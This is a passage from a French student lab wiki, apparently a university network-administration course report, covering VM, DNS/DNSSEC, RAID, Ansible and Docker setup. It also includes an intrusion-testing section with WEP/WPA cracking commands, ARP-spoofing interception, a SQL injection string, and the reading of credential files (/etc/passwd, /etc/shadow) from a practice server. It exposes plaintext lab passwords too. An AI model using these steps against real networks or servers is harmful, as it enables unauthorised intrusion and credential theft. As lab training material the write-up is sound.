      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons un deuxième site dans /etc/apache2/sites-available que nous appelons site2calicedelamort.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
    &lt;br /&gt;
        ServerAdmin paulLeCannard  &lt;br /&gt;
                                                                                                                                                                                             &lt;br /&gt;
        ProxyPass / http://192.168.42.9:8089                                                                                      &lt;br /&gt;
        ProxyPassReverse / http://192.168.42.9:8089&lt;br /&gt;
                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier /etc/bind/db.calicedelamort.site pour y ajouter cette ligne :&lt;br /&gt;
&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
&lt;br /&gt;
On installe les paquets manquants :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
On active notre 2ème site, puis on redémarre bind9 et apache2 :&lt;br /&gt;
&lt;br /&gt;
 a2ensite site2calicedelamort.conf&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
 service apache2 restart&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55180</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55180"/>
				<updated>2020-12-22T14:41:41Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
